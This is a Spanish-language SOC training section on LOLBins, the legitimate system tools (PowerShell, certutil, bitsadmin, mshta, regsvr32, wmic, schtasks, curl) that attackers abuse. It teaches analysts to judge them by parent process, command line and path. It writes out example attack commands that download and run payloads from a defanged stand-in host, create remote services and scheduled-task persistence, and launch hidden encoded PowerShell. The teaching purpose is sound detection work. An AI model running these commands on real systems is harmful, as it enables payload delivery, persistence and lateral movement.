SECCIÓN 4.4

Uso de herramientas legítimas del sistema: LOLBins

Temas de esta sección:

- Qué son los LOLBins y por qué los usan los atacantes
- PowerShell: señales sospechosas y comparativo legítimo vs sospechoso
- certutil, bitsadmin, mshta, rundll32, regsvr32
- wscript, cscript, wmic, schtasks, sc.exe
- curl/wget, bash, python y lenguajes interpretados
- La importancia del proceso padre y la línea de comandos
- Rutas sospechosas y ejemplos integradores

LOLBins son binarios o herramientas legítimas que ya existen en el sistema operativo, pero que pueden ser abusadas por un atacante. El problema no es que existan. El problema es **cómo se usan.**

Ventajas para el atacante:

- Reduce necesidad de malware adicional
- Puede parecer actividad administrativa normal
- Puede evadir controles basados en archivos
- Se mezcla con actividad legítima de IT
- Puede abusar de permisos existentes
- Dificulta la investigación

Herramientas LOLBins comunes:

```
powershell.exe  ·  cmd.exe
certutil.exe  ·  bitsadmin.exe
mshta.exe  ·  rundll32.exe
regsvr32.exe  ·  wscript.exe
wmic.exe  ·  schtasks.exe
sc.exe  ·  curl  ·  wget
```

4.4 | PowerShell: señales sospechosas

PowerShell es la herramienta más abusada. No es el proceso lo que alerta, es cómo se usa:

Parámetro	Por qué es relevante
`-EncodedCommand / -enc`	Comando codificado en Base64, dificulta lectura
`-ExecutionPolicy Bypass`	Evita restricción de ejecución de scripts
`-nop / -NoProfile`	Omite el perfil del usuario, reduce logging
`-w hidden / -WindowStyle Hidden`	Ventana oculta, el usuario no ve la ejecución
`Invoke-WebRequest / IEX / DownloadString`	Descarga y ejecuta código desde internet
`FromBase64String / Invoke-Expression`	Decodifica y ejecuta comandos codificados

La sospecha no viene solo por PowerShell. Viene por la combinación:
Proceso padre Office + Parámetros ocultos + Comando codificado + Conexión externa + Usuario no técnico

Herramientas legítimas que pueden abusarse para descargar, ejecutar o evadir:

certutil.exe	✔️ Administra certificados digitales ✘ Descarga ejecutable desde URL externa	`certutil -urlcache -split -f hxxp://domain.com/payload.exe C:\Public\payload.exe`
bitsadmin.exe	✔️ Gestiona transferencias BITS en segundo plano ✘ Descarga silenciosa de payload	`bitsadmin /transfer job1 /download /priority normal hxxp://domain.com/update.exe C:\Public\update.exe`
mshta.exe	✔️ Ejecuta aplicaciones HTML de Microsoft ✘ Ejecuta scripts remotos o locales	`mshta.exe hxxp://domain.com/payload.hta  (o desde WINWORD.EXE)`
rundll32.exe	✔️ Ejecuta funciones en archivos DLL ✘ Carga y ejecuta DLL en ruta de usuario	`rundll32.exe C:\Users\Public\temp.dll,Start`
regsvr32.exe	✔️ Registra/desregistra DLLs ✘ Ejecución remota de scripts (squiblydoo)	`regsvr32.exe /s /n /u /i:hxxp://domain.com/file.sct scrobj.dll`

Más LOLBins relevantes para SOC con sus usos legítimos y sospechosos:

wscript.exe / cscript.exe	OUTLOOK.EXE → wscript.exe → powershell.exe → conexión externa	Ejecuta scripts .vbs, .js, .wsf — puede iniciar cadena
wmic.exe	wmic /node:HOST-02 process call create "cmd.exe /c whoami"	Ejecución remota, reconocimiento, movimiento lateral
schtasks.exe	schtasks /Create /SC MINUTE /MO 10 /TN OneDriveUpdate /TR C:\Public\update.exe	Persistencia — nombre engañoso, binario en ruta pública
sc.exe	sc.exe \\SERVER01 create svcupdate binPath= C:\Temp\svc.exe	Crear servicio remoto — posible movimiento lateral
curl / wget / Invoke-WebRequest	curl hxxps://domain.com/payload.sh | bash	Descargar y ejecutar directamente — muy sospechoso
bash / python (Linux)	apache2 → bash -c "curl hxxps://domain.com/a.sh | bash"	Post-explotación web — proceso web ejecutando bash

4.4 | LOLBins: proceso padre, línea de comandos y rutas

Los tres elementos más importantes para analizar un LOLBin:

PROCESO PADRE	LÍNEA DE COMANDOS	RUTA DE EJECUCIÓN
Normal	**Normal**	**Normal**
`explorer.exe → chrome.exe` `ITservices.exe → powershell.exe`	`powershell.exe -File C:\Scripts\install.ps1` `certutil.exe -store My`	`C:\Program Files\` `C:\Windows\System32\`
Sospechoso	**Sospechoso**	**Sospechoso**

`WINWORD.EXE → powershell.exe`
`OUTLOOK.EXE → wscript.exe`
`chrome.exe → powershell.exe`
	`powershell -nop -w hidden -enc <base64>`
	`certutil -urlcache -split -f hxxp://domain/a.exe`
		`C:\Users\<user>\AppData\Roaming\`
		`C:\Users\Public\`
		`C:\Windows\Temp\`

La línea de comandos es la evidencia más importante. No alcanza con ver el nombre del proceso. Hay que ver cómo se ejecutó.